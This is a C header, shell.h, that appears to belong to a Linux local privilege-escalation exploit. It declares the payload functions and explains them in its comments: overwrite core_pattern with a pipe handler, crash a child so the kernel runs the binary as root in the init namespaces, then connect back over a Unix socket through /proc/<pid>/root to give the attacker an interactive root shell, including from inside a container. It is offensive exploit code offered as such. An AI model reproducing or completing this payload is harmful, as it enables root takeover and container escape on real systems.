shell.h

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/* shell.h: named-socket root shell, the ONLY post-exploitation payload.
   The exploit overwrites core_pattern with the string shell_core_pattern() builds; a crashing child
   then makes the kernel run THIS binary as init-namespace ROOT (argv "--reexec --core <pid> <sock>"),
   which connects back to a per-run AF_UNIX socket that shell_run() relays onto the caller's terminal
   -> an interactive `#` root shell. Because the handler reaches the socket through the crashing task's
   root link (/proc/<pid>/root<sock>) it also works from inside a container. */
#ifndef SHELL_H
#define SHELL_H

/* Build (once) the core_pattern handler string to plant: "|/proc/%P/root<self> reexec core %P
   <sock>", and fix the per-run socket path shell_run() will bind. Returns the string, or NULL if it
   would exceed CORENAME_MAX_SIZE (128). Call BEFORE planting it via dpt_overwrite_core_pattern. */
const char *shell_core_pattern(void);

/* Main-process (unprivileged) side: bind the socket, crash a child to fire the planted handler, accept
   the ROOT shell it connects back with. If show_id != 0, run `id` in it and close; otherwise relay
   stdin/stdout interactively until either side closes. Call AFTER the plant verified. */
void shell_run(int show_id);

/* core_pattern re-entry (argv "reexec core <pid> <sock>"): kernel-spawned ROOT handler in the init
   namespaces -- connect back to /proc/<pid>/root<sock>, wire it onto stdio, exec an interactive shell.
   Returns the process exit code. */
int shell_core_handler(const char *pid, const char *sock);

#endif /* SHELL_H */